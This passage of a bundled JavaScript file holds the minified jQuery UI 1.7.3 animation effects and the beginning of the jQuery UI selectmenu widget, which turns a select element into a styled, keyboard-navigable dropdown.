f+m}if(!k){k=l*(0.3*1.5)}if(h<Math.abs(m)){h=m;var j=k/4}else{var j=k/(2*Math.PI)*Math.asin(m/h)}if(i<1){return -0.5*(h*Math.pow(2,10*(i-=1))*Math.sin((i*l-j)*(2*Math.PI)/k))+f}return h*Math.pow(2,-10*(i-=1))*Math.sin((i*l-j)*(2*Math.PI)/k)*0.5+m+f},easeInBack:function(g,h,f,k,j,i){if(i==undefined){i=1.70158}return k*(h/=j)*h*((i+1)*h-i)+f},easeOutBack:function(g,h,f,k,j,i){if(i==undefined){i=1.70158}return k*((h=h/j-1)*h*((i+1)*h+i)+1)+f},easeInOutBack:function(g,h,f,k,j,i){if(i==undefined){i=1.70158}if((h/=j/2)<1){return k/2*(h*h*(((i*=(1.525))+1)*h-i))+f}return k/2*((h-=2)*h*(((i*=(1.525))+1)*h+i)+2)+f},easeInBounce:function(g,h,f,j,i){return j-d.easing.easeOutBounce(g,i-h,0,j,i)+f},easeOutBounce:function(g,h,f,j,i){if((h/=i)<(1/2.75)){return j*(7.5625*h*h)+f}else{if(h<(2/2.75)){return j*(7.5625*(h-=(1.5/2.75))*h+0.75)+f}else{if(h<(2.5/2.75)){return j*(7.5625*(h-=(2.25/2.75))*h+0.9375)+f}else{return j*(7.5625*(h-=(2.625/2.75))*h+0.984375)+f}}}},easeInOutBounce:function(g,h,f,j,i){if(h<i/2){return d.easing.easeInBounce(g,h*2,0,j,i)*0.5+f}return d.easing.easeOutBounce(g,h*2-i,0,j,i)*0.5+j*0.5+f}})})(jQuery);;/*
 * jQuery UI Effects Blind 1.7.3
 *
 * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
 * Dual licensed under the MIT (MIT-LICENSE.txt)
 * and GPL (GPL-LICENSE.txt) licenses.
 *
 * http://docs.jquery.com/UI/Effects/Blind
 *
 * Depends:
 *	effects.core.js
 */(function(a){a.effects.blind=function(b){return this.queue(function(){var d=a(this),c=["position","top","left"];var h=a.effects.setMode(d,b.options.mode||"hide");var g=b.options.direction||"vertical";a.effects.save(d,c);d.show();var j=a.effects.createWrapper(d).css({overflow:"hidden"});var e=(g=="vertical")?"height":"width";var i=(g=="vertical")?j.height():j.width();if(h=="show"){j.css(e,0)}var f={};f[e]=h=="show"?i:0;j.animate(f,b.duration,b.options.easing,function(){if(h=="hide"){d.hide()}a.effects.restore(d,c);a.effects.removeWrapper(d);if(b.callback){b.callback.apply(d[0],arguments)}d.dequeue()})})}})(jQuery);;/*
 * jQuery UI Effects Bounce 1.7.3
 *
 * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
 * Dual licensed under the MIT (MIT-LICENSE.txt)
 * and GPL (GPL-LICENSE.txt) licenses.
 *
 * http://docs.jquery.com/UI/Effects/Bounce
 *
 * Depends:
 *	effects.core.js
 */(function(a){a.effects.bounce=function(b){return this.queue(function(){var e=a(this),l=["position","top","left"];var k=a.effects.setMode(e,b.options.mode||"effect");var n=b.options.direction||"up";var c=b.options.distance||20;var d=b.options.times||5;var g=b.duration||250;if(/show|hide/.test(k)){l.push("opacity")}a.effects.save(e,l);e.show();a.effects.createWrapper(e);var f=(n=="up"||n=="down")?"top":"left";var p=(n=="up"||n=="left")?"pos":"neg";var c=b.options.distance||(f=="top"?e.outerHeight({margin:true})/3:e.outerWidth({margin:true})/3);if(k=="show"){e.css("opacity",0).css(f,p=="pos"?-c:c)}if(k=="hide"){c=c/(d*2)}if(k!="hide"){d--}if(k=="show"){var h={opacity:1};h[f]=(p=="pos"?"+=":"-=")+c;e.animate(h,g/2,b.options.easing);c=c/2;d--}for(var j=0;j<d;j++){var o={},m={};o[f]=(p=="pos"?"-=":"+=")+c;m[f]=(p=="pos"?"+=":"-=")+c;e.animate(o,g/2,b.options.easing).animate(m,g/2,b.options.easing);c=(k=="hide")?c*2:c/2}if(k=="hide"){var h={opacity:0};h[f]=(p=="pos"?"-=":"+=")+c;e.animate(h,g/2,b.options.easing,function(){e.hide();a.effects.restore(e,l);a.effects.removeWrapper(e);if(b.callback){b.callback.apply(this,arguments)}})}else{var o={},m={};o[f]=(p=="pos"?"-=":"+=")+c;m[f]=(p=="pos"?"+=":"-=")+c;e.animate(o,g/2,b.options.easing).animate(m,g/2,b.options.easing,function(){a.effects.restore(e,l);a.effects.removeWrapper(e);if(b.callback){b.callback.apply(this,arguments)}})}e.queue("fx",function(){e.dequeue()});e.dequeue()})}})(jQuery);;/*
 * jQuery UI Effects Clip 1.7.3
 *
 * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
 * Dual licensed under the MIT (MIT-LICENSE.txt)
 * and GPL (GPL-LICENSE.txt) licenses.
 *
 * http://docs.jquery.com/UI/Effects/Clip
 *
 * Depends:
 *	effects.core.js
 */(function(a){a.effects.clip=function(b){return this.queue(function(){var f=a(this),j=["position","top","left","height","width"];var i=a.effects.setMode(f,b.options.mode||"hide");var k=b.options.direction||"vertical";a.effects.save(f,j);f.show();var c=a.effects.createWrapper(f).css({overflow:"hidden"});var e=f[0].tagName=="IMG"?c:f;var g={size:(k=="vertical")?"height":"width",position:(k=="vertical")?"top":"left"};var d=(k=="vertical")?e.height():e.width();if(i=="show"){e.css(g.size,0);e.css(g.position,d/2)}var h={};h[g.size]=i=="show"?d:0;h[g.position]=i=="show"?0:d/2;e.animate(h,{queue:false,duration:b.duration,easing:b.options.easing,complete:function(){if(i=="hide"){f.hide()}a.effects.restore(f,j);a.effects.removeWrapper(f);if(b.callback){b.callback.apply(f[0],arguments)}f.dequeue()}})})}})(jQuery);;/*
 * jQuery UI Effects Drop 1.7.3
 *
 * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
 * Dual licensed under the MIT (MIT-LICENSE.txt)
 * and GPL (GPL-LICENSE.txt) licenses.
 *
 * http://docs.jquery.com/UI/Effects/Drop
 *
 * Depends:
 *	effects.core.js
 */(function(a){a.effects.drop=function(b){return this.queue(function(){var e=a(this),d=["position","top","left","opacity"];var i=a.effects.setMode(e,b.options.mode||"hide");var h=b.options.direction||"left";a.effects.save(e,d);e.show();a.effects.createWrapper(e);var f=(h=="up"||h=="down")?"top":"left";var c=(h=="up"||h=="left")?"pos":"neg";var j=b.options.distance||(f=="top"?e.outerHeight({margin:true})/2:e.outerWidth({margin:true})/2);if(i=="show"){e.css("opacity",0).css(f,c=="pos"?-j:j)}var g={opacity:i=="show"?1:0};g[f]=(i=="show"?(c=="pos"?"+=":"-="):(c=="pos"?"-=":"+="))+j;e.animate(g,{queue:false,duration:b.duration,easing:b.options.easing,complete:function(){if(i=="hide"){e.hide()}a.effects.restore(e,d);a.effects.removeWrapper(e);if(b.callback){b.callback.apply(this,arguments)}e.dequeue()}})})}})(jQuery);;/*
 * jQuery UI Effects Explode 1.7.3
 *
 * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
 * Dual licensed under the MIT (MIT-LICENSE.txt)
 * and GPL (GPL-LICENSE.txt) licenses.
 *
 * http://docs.jquery.com/UI/Effects/Explode
 *
 * Depends:
 *	effects.core.js
 */(function(a){a.effects.explode=function(b){return this.queue(function(){var k=b.options.pieces?Math.round(Math.sqrt(b.options.pieces)):3;var e=b.options.pieces?Math.round(Math.sqrt(b.options.pieces)):3;b.options.mode=b.options.mode=="toggle"?(a(this).is(":visible")?"hide":"show"):b.options.mode;var h=a(this).show().css("visibility","hidden");var l=h.offset();l.top-=parseInt(h.css("marginTop"),10)||0;l.left-=parseInt(h.css("marginLeft"),10)||0;var g=h.outerWidth(true);var c=h.outerHeight(true);for(var f=0;f<k;f++){for(var d=0;d<e;d++){h.clone().appendTo("body").wrap("<div></div>").css({position:"absolute",visibility:"visible",left:-d*(g/e),top:-f*(c/k)}).parent().addClass("ui-effects-explode").css({position:"absolute",overflow:"hidden",width:g/e,height:c/k,left:l.left+d*(g/e)+(b.options.mode=="show"?(d-Math.floor(e/2))*(g/e):0),top:l.top+f*(c/k)+(b.options.mode=="show"?(f-Math.floor(k/2))*(c/k):0),opacity:b.options.mode=="show"?0:1}).animate({left:l.left+d*(g/e)+(b.options.mode=="show"?0:(d-Math.floor(e/2))*(g/e)),top:l.top+f*(c/k)+(b.options.mode=="show"?0:(f-Math.floor(k/2))*(c/k)),opacity:b.options.mode=="show"?1:0},b.duration||500)}}setTimeout(function(){b.options.mode=="show"?h.css({visibility:"visible"}):h.css({visibility:"visible"}).hide();if(b.callback){b.callback.apply(h[0])}h.dequeue();a("div.ui-effects-explode").remove()},b.duration||500)})}})(jQuery);;/*
 * jQuery UI Effects Fold 1.7.3
 *
 * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
 * Dual licensed under the MIT (MIT-LICENSE.txt)
 * and GPL (GPL-LICENSE.txt) licenses.
 *
 * http://docs.jquery.com/UI/Effects/Fold
 *
 * Depends:
 *	effects.core.js
 */(function(a){a.effects.fold=function(b){return this.queue(function(){var e=a(this),k=["position","top","left"];var h=a.effects.setMode(e,b.options.mode||"hide");var o=b.options.size||15;var n=!(!b.options.horizFirst);var g=b.duration?b.duration/2:a.fx.speeds._default/2;a.effects.save(e,k);e.show();var d=a.effects.createWrapper(e).css({overflow:"hidden"});var i=((h=="show")!=n);var f=i?["width","height"]:["height","width"];var c=i?[d.width(),d.height()]:[d.height(),d.width()];var j=/([0-9]+)%/.exec(o);if(j){o=parseInt(j[1],10)/100*c[h=="hide"?0:1]}if(h=="show"){d.css(n?{height:0,width:o}:{height:o,width:0})}var m={},l={};m[f[0]]=h=="show"?c[0]:o;l[f[1]]=h=="show"?c[1]:0;d.animate(m,g,b.options.easing).animate(l,g,b.options.easing,function(){if(h=="hide"){e.hide()}a.effects.restore(e,k);a.effects.removeWrapper(e);if(b.callback){b.callback.apply(e[0],arguments)}e.dequeue()})})}})(jQuery);;/*
 * jQuery UI Effects Highlight 1.7.3
 *
 * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
 * Dual licensed under the MIT (MIT-LICENSE.txt)
 * and GPL (GPL-LICENSE.txt) licenses.
 *
 * http://docs.jquery.com/UI/Effects/Highlight
 *
 * Depends:
 *	effects.core.js
 */(function(a){a.effects.highlight=function(b){return this.queue(function(){var e=a(this),d=["backgroundImage","backgroundColor","opacity"];var h=a.effects.setMode(e,b.options.mode||"show");var c=b.options.color||"#ffff99";var g=e.css("backgroundColor");a.effects.save(e,d);e.show();e.css({backgroundImage:"none",backgroundColor:c});var f={backgroundColor:g};if(h=="hide"){f.opacity=0}e.animate(f,{queue:false,duration:b.duration,easing:b.options.easing,complete:function(){if(h=="hide"){e.hide()}a.effects.restore(e,d);if(h=="show"&&a.browser.msie){this.style.removeAttribute("filter")}if(b.callback){b.callback.apply(this,arguments)}e.dequeue()}})})}})(jQuery);;/*
 * jQuery UI Effects Pulsate 1.7.3
 *
 * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
 * Dual licensed under the MIT (MIT-LICENSE.txt)
 * and GPL (GPL-LICENSE.txt) licenses.
 *
 * http://docs.jquery.com/UI/Effects/Pulsate
 *
 * Depends:
 *	effects.core.js
 */(function(a){a.effects.pulsate=function(b){return this.queue(function(){var d=a(this);var g=a.effects.setMode(d,b.options.mode||"show");var f=b.options.times||5;var e=b.duration?b.duration/2:a.fx.speeds._default/2;if(g=="hide"){f--}if(d.is(":hidden")){d.css("opacity",0);d.show();d.animate({opacity:1},e,b.options.easing);f=f-2}for(var c=0;c<f;c++){d.animate({opacity:0},e,b.options.easing).animate({opacity:1},e,b.options.easing)}if(g=="hide"){d.animate({opacity:0},e,b.options.easing,function(){d.hide();if(b.callback){b.callback.apply(this,arguments)}})}else{d.animate({opacity:0},e,b.options.easing).animate({opacity:1},e,b.options.easing,function(){if(b.callback){b.callback.apply(this,arguments)}})}d.queue("fx",function(){d.dequeue()});d.dequeue()})}})(jQuery);;/*
 * jQuery UI Effects Scale 1.7.3
 *
 * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
 * Dual licensed under the MIT (MIT-LICENSE.txt)
 * and GPL (GPL-LICENSE.txt) licenses.
 *
 * http://docs.jquery.com/UI/Effects/Scale
 *
 * Depends:
 *	effects.core.js
 */(function(a){a.effects.puff=function(b){return this.queue(function(){var f=a(this);var c=a.extend(true,{},b.options);var h=a.effects.setMode(f,b.options.mode||"hide");var g=parseInt(b.options.percent,10)||150;c.fade=true;var e={height:f.height(),width:f.width()};var d=g/100;f.from=(h=="hide")?e:{height:e.height*d,width:e.width*d};c.from=f.from;c.percent=(h=="hide")?g:100;c.mode=h;f.effect("scale",c,b.duration,b.callback);f.dequeue()})};a.effects.scale=function(b){return this.queue(function(){var g=a(this);var d=a.extend(true,{},b.options);var j=a.effects.setMode(g,b.options.mode||"effect");var h=parseInt(b.options.percent,10)||(parseInt(b.options.percent,10)==0?0:(j=="hide"?0:100));var i=b.options.direction||"both";var c=b.options.origin;if(j!="effect"){d.origin=c||["middle","center"];d.restore=true}var f={height:g.height(),width:g.width()};g.from=b.options.from||(j=="show"?{height:0,width:0}:f);var e={y:i!="horizontal"?(h/100):1,x:i!="vertical"?(h/100):1};g.to={height:f.height*e.y,width:f.width*e.x};if(b.options.fade){if(j=="show"){g.from.opacity=0;g.to.opacity=1}if(j=="hide"){g.from.opacity=1;g.to.opacity=0}}d.from=g.from;d.to=g.to;d.mode=j;g.effect("size",d,b.duration,b.callback);g.dequeue()})};a.effects.size=function(b){return this.queue(function(){var c=a(this),n=["position","top","left","width","height","overflow","opacity"];var m=["position","top","left","overflow","opacity"];var j=["width","height","overflow"];var p=["fontSize"];var k=["borderTopWidth","borderBottomWidth","paddingTop","paddingBottom"];var f=["borderLeftWidth","borderRightWidth","paddingLeft","paddingRight"];var g=a.effects.setMode(c,b.options.mode||"effect");var i=b.options.restore||false;var e=b.options.scale||"both";var o=b.options.origin;var d={height:c.height(),width:c.width()};c.from=b.options.from||d;c.to=b.options.to||d;if(o){var h=a.effects.getBaseline(o,d);c.from.top=(d.height-c.from.height)*h.y;c.from.left=(d.width-c.from.width)*h.x;c.to.top=(d.height-c.to.height)*h.y;c.to.left=(d.width-c.to.width)*h.x}var l={from:{y:c.from.height/d.height,x:c.from.width/d.width},to:{y:c.to.height/d.height,x:c.to.width/d.width}};if(e=="box"||e=="both"){if(l.from.y!=l.to.y){n=n.concat(k);c.from=a.effects.setTransition(c,k,l.from.y,c.from);c.to=a.effects.setTransition(c,k,l.to.y,c.to)}if(l.from.x!=l.to.x){n=n.concat(f);c.from=a.effects.setTransition(c,f,l.from.x,c.from);c.to=a.effects.setTransition(c,f,l.to.x,c.to)}}if(e=="content"||e=="both"){if(l.from.y!=l.to.y){n=n.concat(p);c.from=a.effects.setTransition(c,p,l.from.y,c.from);c.to=a.effects.setTransition(c,p,l.to.y,c.to)}}a.effects.save(c,i?n:m);c.show();a.effects.createWrapper(c);c.css("overflow","hidden").css(c.from);if(e=="content"||e=="both"){k=k.concat(["marginTop","marginBottom"]).concat(p);f=f.concat(["marginLeft","marginRight"]);j=n.concat(k).concat(f);c.find("*[width]").each(function(){child=a(this);if(i){a.effects.save(child,j)}var q={height:child.height(),width:child.width()};child.from={height:q.height*l.from.y,width:q.width*l.from.x};child.to={height:q.height*l.to.y,width:q.width*l.to.x};if(l.from.y!=l.to.y){child.from=a.effects.setTransition(child,k,l.from.y,child.from);child.to=a.effects.setTransition(child,k,l.to.y,child.to)}if(l.from.x!=l.to.x){child.from=a.effects.setTransition(child,f,l.from.x,child.from);child.to=a.effects.setTransition(child,f,l.to.x,child.to)}child.css(child.from);child.animate(child.to,b.duration,b.options.easing,function(){if(i){a.effects.restore(child,j)}})})}c.animate(c.to,{queue:false,duration:b.duration,easing:b.options.easing,complete:function(){if(g=="hide"){c.hide()}a.effects.restore(c,i?n:m);a.effects.removeWrapper(c);if(b.callback){b.callback.apply(this,arguments)}c.dequeue()}})})}})(jQuery);;/*
 * jQuery UI Effects Shake 1.7.3
 *
 * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
 * Dual licensed under the MIT (MIT-LICENSE.txt)
 * and GPL (GPL-LICENSE.txt) licenses.
 *
 * http://docs.jquery.com/UI/Effects/Shake
 *
 * Depends:
 *	effects.core.js
 */(function(a){a.effects.shake=function(b){return this.queue(function(){var e=a(this),l=["position","top","left"];var k=a.effects.setMode(e,b.options.mode||"effect");var n=b.options.direction||"left";var c=b.options.distance||20;var d=b.options.times||3;var g=b.duration||b.options.duration||140;a.effects.save(e,l);e.show();a.effects.createWrapper(e);var f=(n=="up"||n=="down")?"top":"left";var p=(n=="up"||n=="left")?"pos":"neg";var h={},o={},m={};h[f]=(p=="pos"?"-=":"+=")+c;o[f]=(p=="pos"?"+=":"-=")+c*2;m[f]=(p=="pos"?"-=":"+=")+c*2;e.animate(h,g,b.options.easing);for(var j=1;j<d;j++){e.animate(o,g,b.options.easing).animate(m,g,b.options.easing)}e.animate(o,g,b.options.easing).animate(h,g/2,b.options.easing,function(){a.effects.restore(e,l);a.effects.removeWrapper(e);if(b.callback){b.callback.apply(this,arguments)}});e.queue("fx",function(){e.dequeue()});e.dequeue()})}})(jQuery);;/*
 * jQuery UI Effects Slide 1.7.3
 *
 * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
 * Dual licensed under the MIT (MIT-LICENSE.txt)
 * and GPL (GPL-LICENSE.txt) licenses.
 *
 * http://docs.jquery.com/UI/Effects/Slide
 *
 * Depends:
 *	effects.core.js
 */(function(a){a.effects.slide=function(b){return this.queue(function(){var e=a(this),d=["position","top","left"];var i=a.effects.setMode(e,b.options.mode||"show");var h=b.options.direction||"left";a.effects.save(e,d);e.show();a.effects.createWrapper(e).css({overflow:"hidden"});var f=(h=="up"||h=="down")?"top":"left";var c=(h=="up"||h=="left")?"pos":"neg";var j=b.options.distance||(f=="top"?e.outerHeight({margin:true}):e.outerWidth({margin:true}));if(i=="show"){e.css(f,c=="pos"?-j:j)}var g={};g[f]=(i=="show"?(c=="pos"?"+=":"-="):(c=="pos"?"-=":"+="))+j;e.animate(g,{queue:false,duration:b.duration,easing:b.options.easing,complete:function(){if(i=="hide"){e.hide()}a.effects.restore(e,d);a.effects.removeWrapper(e);if(b.callback){b.callback.apply(this,arguments)}e.dequeue()}})})}})(jQuery);;/*
 * jQuery UI Effects Transfer 1.7.3
 *
 * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
 * Dual licensed under the MIT (MIT-LICENSE.txt)
 * and GPL (GPL-LICENSE.txt) licenses.
 *
 * http://docs.jquery.com/UI/Effects/Transfer
 *
 * Depends:
 *	effects.core.js
 */(function(a){a.effects.transfer=function(b){return this.queue(function(){var f=a(this),h=a(b.options.to),e=h.offset(),g={top:e.top,left:e.left,height:h.innerHeight(),width:h.innerWidth()},d=f.offset(),c=a('<div class="ui-effects-transfer"></div>').appendTo(document.body).addClass(b.options.className).css({top:d.top,left:d.left,height:f.innerHeight(),width:f.innerWidth(),position:"absolute"}).animate(g,b.duration,b.options.easing,function(){c.remove();(b.callback&&b.callback.apply(f[0],arguments));f.dequeue()})})}})(jQuery);;;
 /*
 * jQuery UI selectmenu
 *
 * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
 * Dual licensed under the MIT (MIT-LICENSE.txt)
 * and GPL (GPL-LICENSE.txt) licenses.
 *
 * http://docs.jquery.com/UI
 */

(function($) {

$.widget("ui.selectmenu", {
	_init: function() {
		var self = this, o = this.options;
		
		//quick array of button and menu id's
		this.ids = [this.element.attr('id') + '-' + 'button', this.element.attr('id') + '-' + 'menu'];
		
		//define safe mouseup for future toggling
		this._safemouseup = true;
		
		//create menu button wrapper
		this.newelement = $('<a class="'+ this.widgetBaseClass +' ui-widget ui-state-default ui-corner-all" id="'+this.ids[0]+'" role="button" href="#" aria-haspopup="true" aria-owns="'+this.ids[1]+'"></a>')
			.insertAfter(this.element);
		
		//transfer tabindex
		var tabindex = this.element.attr('tabindex');
		if(tabindex){ this.newelement.attr('tabindex', tabindex); }
		
		//save reference to select in data for ease in calling methods
		this.newelement.data('selectelement', this.element);
		
		//menu icon
		this.selectmenuIcon = $('<span class="'+ this.widgetBaseClass +'-icon ui-icon"></span>')
			.prependTo(this.newelement)
			.addClass( (o.style == "popup")? 'ui-icon-triangle-2-n-s' : 'ui-icon-triangle-1-s' );	

			
		//make associated form label trigger focus
		$('label[for='+this.element.attr('id')+']')
			.attr('for', this.ids[0])
			.bind('click', function(){
				self.newelement[0].focus();
				return false;
			});	

		//click toggle for menu visibility
		this.newelement
			.bind('mousedown', function(event){
				self._toggle(event);
				//make sure a click won't open/close instantly
				if(o.style == "popup"){
					self._safemouseup = false;
					setTimeout(function(){self._safemouseup = true;}, 300);
				}	
				return false;
			})
			.bind('click',function(){
				return false;
			})
			.keydown(function(event){
				var ret = true;
				switch (event.keyCode) {
					case $.ui.keyCode.ENTER:
						ret = true;
						break;
					case $.ui.keyCode.SPACE:
						ret = false;
						self._toggle(event);	
						break;
					case $.ui.keyCode.UP:
					case $.ui.keyCode.LEFT:
						ret = false;
						self._moveSelection(-1);
						break;
					case $.ui.keyCode.DOWN:
					case $.ui.keyCode.RIGHT:
						ret = false;
						self._moveSelection(1);
						break;	
					case $.ui.keyCode.TAB:
						ret = true;
						break;	
					default:
						ret = false;
						self._typeAhead(event.keyCode, 'mouseup');
						break;	
				}
				return ret;
			})
			.bind('mouseover focus', function(){ 
				$(this).addClass(self.widgetBaseClass+'-focus ui-state-hover'); 
			})
			.bind('mouseout blur', function(){  
				$(this).removeClass(self.widgetBaseClass+'-focus ui-state-hover'); 
			});
		
		//document click closes menu
		$(document)
			.mousedown(function(event){
				self.close(event);
			});

		//change event on original selectmenu
		this.element
			.click(function(){ this._refreshValue(); })
			.focus(function(){ this.newelement[0].focus(); });
		
		//create menu portion, append to body
		var cornerClass = (o.style == "dropdown")? " ui-corner-bottom" : " ui-corner-all"
		this.list = $('<ul class="' + self.widgetBaseClass + '-menu ui-widget ui-widget-content'+cornerClass+'" aria-hidden="true" role="listbox" aria-labelledby="'+this.ids[0]+'" id="'+this.ids[1]+'"></ul>').appendTo('body');				
		
		//serialize selectmenu element options	
		var selectOptionData = [];
		this.element
			.find('option')
			.each(function(){
				selectOptionData.push({
					value: $(this).attr('value'),
					text: self._formatText(jQuery(this).text()),
					selected: $(this).attr('selected'),
					classes: $(this).attr('class'),
					parentOptGroup: $(this).parent('optgroup').attr('label')
				});
			});		
				
		//active state class is only used in popup style
		var activeClass = (self.options.style == "popup") ? " ui-state-active" : "";
		
		//write li's
		for(var i in selectOptionData){
			var thisLi = $('<li role="presentation"><a href="#" tabindex="-1" role="option" aria-selected="false">'+ selectOptionData[i].text +'</a></li>')
				.data('index',i)
				.addClass(selectOptionData[i].classes)
				.data('optionClasses', selectOptionData[i].classes|| '')
				.mouseup(function(event){
						if(self._safemouseup){
							var changed = $(this).data('index') != self._selectedIndex();
							self.value($(this).data('index'));
							self.select(event);
							if(changed){ self.change(event); }
							self.close(event,true);
						}
					return false;
				})
				.click(function(){
					return false;
				})
				.bind('mouseover focus', function(){ 
					self._selectedOptionLi().addClass(activeClass); 
					self._focusedOptionLi().removeClass(self.widgetBaseClass+'-item-focus ui-state-hover'); 
					$(this).removeClass('ui-state-active').addClass(self.widgetBaseClass + '-item-focus ui-state-hover'); 
				})
				.bind('mouseout blur', function(){ 
					if($(this).is( self._selectedOptionLi() )){ $(this).addClass(activeClass); }
					$(this).removeClass(self.widgetBaseClass + '-item-focus ui-state-hover'); 
				});
				
			//optgroup or not...
			if(selectOptionData[i].parentOptGroup){
				var optGroupName = self.widgetBaseClass + '-group-' + selectOptionData[i].parentOptGroup;
				if(this.list.find('li.' + optGroupName).size()){
					this.list.find('li.' + optGroupName + ':last ul').append(thisLi);
				}
				else{
					$('<li role="presentation" class="'+self.widgetBaseClass+'-group '+optGroupName+'"><span class="'+self.widgetBaseClass+'-group-label">'+selectOptionData[i].parentOptGroup+'</span><ul></ul></li>')
						.appendTo(this.list)
						.find('ul')
						.append(thisLi);
				}
			}
			else{
				thisLi.appendTo(this.list);
			}
			
			//this allows for using the scrollbar in an overflowed list
			this.list.bind('mousedown mouseup', function(){return false;});
			
			//append icon if option is specified
			if(o.icons){
				for(var j in o.icons){
					if(thisLi.is(o.icons[j].find)){
						thisLi
							.data('optionClasses', selectOptionData[i].classes + ' ' + self.widgetBaseClass + '-hasIcon')
							.addClass(self.widgetBaseClass + '-hasIcon');
						var iconClass = o.icons[j].icon || "";
						
						thisLi
							.find('a:eq(0)')
							.prepend('<span class="'+self.widgetBaseClass+'-item-icon ui-icon '+iconClass + '"></span>');
					}
				}
			}
		}	
		
		//add corners to top and bottom menu items
		this.list.find('li:last').addClass("ui-corner-bottom");
		if(o.style == 'popup'){ this.list.find('li:first').addClass("ui-corner-top"); }
		
		//transfer classes to selectmenu and list
		if(o.transferClasses){
			var transferClasses = this.element.attr('class') || ''; 
			this.newelement.add(this.list).addClass(transferClasses);
		}
		
		//original selectmenu width
		var selectWidth = this.element.width();
		
		//set menu button width
		this.newelement.width( (o.width) ? o.width : selectWidth);
		
		//set menu width to either menuWidth option value, width option value, or select width 
		if(o.style == 'dropdown'){ this.list.width( (o.menuWidth) ? o.menuWidth : ((o.width) ? o.width : selectWidth)); }
		else { this.list.width( (o.menuWidth) ? o.menuWidth : ((o.width) ? o.width - o.handleWidth : selectWidth - o.handleWidth)); }	
		
		//set max height from option 
		if(o.maxHeight && o.maxHeight < this.list.height()){ this.list.height(o.maxHeight); }	
		
		//save reference to actionable li's (not group label li's)
		this._optionLis = this.list.find('li:not(.'+ self.widgetBaseClass +'-group)');
				
		//transfer menu click to menu button
		this.list
			.keydown(function(event){
				var ret = true;
				switch (event.keyCode) {
					case $.ui.keyCode.UP:
					case $.ui.keyCode.LEFT:
						ret = false;
						self._moveFocus(-1);
						break;
					case $.ui.keyCode.DOWN:
					case $.ui.keyCode.RIGHT:
						ret = false;
						self._moveFocus(1);
						break;	
					case $.ui.keyCode.HOME:
						ret = false;
						self._moveFocus(':first');
						break;	
					case $.ui.keyCode.PAGE_UP:
						ret = false;
						self._scrollPage('up');
						break;	
					case $.ui.keyCode.PAGE_DOWN:
						ret = false;
						self._scrollPage('down');
						break;
					case $.ui.keyCode.END:
						ret = false;
						self._moveFocus(':last');
						break;			
					case $.ui.keyCode.ENTER:
					case $.ui.keyCode.SPACE:
						ret = false;
						self.close(event,true);
						$(event.target).parents('li:eq(0)').trigger('mouseup');
						break;		
					case $.ui.keyCode.TAB:
						ret = true;
						self.close(event,true);
						break;	
					case $.ui.keyCode.ESCAPE:
						ret = false;
						self.close(event,true);
						break;	
					default:
						ret = false;
						self._typeAhead(event.keyCode,'focus');
						break;		
				}
				return ret;
			});
			
		//selectmenu style
		if(o.style == 'dropdown'){
			this.newelement
				.addClass(self.widgetBaseClass+"-dropdown");
			this.list
				.addClass(self.widgetBaseClass+"-menu-dropdown");	
		}
		else {
			this.newelement
				.addClass(self.widgetBaseClass+"-popup");
			this.list
				.addClass(self.widgetBaseClass+"-menu-popup");	
		}
		
		//append status span to button
		this.newelement.prepend('<span class="'+self.widgetBaseClass+'-status">'+ selectOptionData[this._selectedIndex()].text +'</span>');
		
		//hide original selectmenu element
		this.element.hide();
		
		//transfer disabled state
		if(this.element.attr('disabled') == true){ this.disable(); }
		
		//update value
		this.value(this._selectedIndex());
	},
	destroy: function() {
		this.element.removeData(this.widgetName)
			.removeClass(this.widgetBaseClass + '-disabled' + ' ' + this.namespace + '-state-disabled')
			.removeAttr('aria-disabled');
	
		//unbind click on label, reset its for attr
		$('label[for='+this.newelement.attr('id')+']')
			.attr('for',this.element.attr('id'))
			.unbind('click');
		this.newelement.remove();
		this.list.remove();
		this.element.show();	
	},
	_typeAhead: function(code, eventType){
		var self = this;
		//define self._prevChar if needed
		if(!self._prevChar){ self._prevChar = ['',0]; }
		var C = String.fromCharCode(code);
		c = C.toLowerCase();
		var focusFound = false;
		function focusOpt(elem, ind){
			focusFound = true;
			$(elem).trigger(eventType);
			self._prevChar[1] = ind;
		};
		this.list.find('li a').each(function(i){	
			if(!focusFound){
				var thisText = $(this).text();
				if( thisText.indexOf(C) == 0 || thisText.indexOf(c) == 0){
						if(self._prevChar[0] == C){
							if(self._prevChar[1] < i){ focusOpt(this,i); }	
						}
						else{ focusOpt(this,i); }	
				}
			}
		});
		this._prevChar[0] = C;
	},
	_uiHash: function(){
		return {
			value: this.value()
		};
	},
	open: function(event){
		var self = this;
		var disabledStatus = this.newelement.attr("aria-disabled");
		if(disabledStatus != 'true'){
			this._refreshPosition();
			this._closeOthers(event);
			this.newelement
				.addClass('ui-state-active');
			
			this.list
				.appendTo('body')
				.addClass(self.widgetBaseClass + '-open')
				.attr('aria-hidden', false)
				.find('li:not(.'+ self.widgetBaseClass +'-group):eq('+ this._selectedIndex() +') a')[0].focus();	
			if(this.options.style == "dropdown"){ this.newelement.removeClass('ui-corner-all').addClass('ui-corner-top'); }	
			this._refreshPosition();
			this._trigger("open", event, this._uiHash());
		}
	},
	close: function(event, retainFocus){
		if(this.newelement.is('.ui-state-active')){
			this.newelement
				.removeClass('ui-state-active');
			this.list
				.attr('aria-hidden', true)
				.removeClass(this.widgetBaseClass+'-open');
			if(this.options.style == "dropdown"){ this.newelement.removeClass('ui-corner-top').addClass('ui-corner-all'); }
			if(retainFocus){this.newelement[0].focus();}	
			this._trigger("close", event, this._uiHash());
		}
	},
	change: function(event) {
		this.element.trigger('change');
		this._trigger("change", event, this._uiHash());
	},
	select: function(event) {
		this._trigger("select", event, this._uiHash());
	},
	_closeOthers: function(event){
		$('.'+ this.widgetBaseClass +'.ui-state-active').not(this.newelement).each(function(){
			$(this).data('selectelement').selectmenu('close',event);
		});
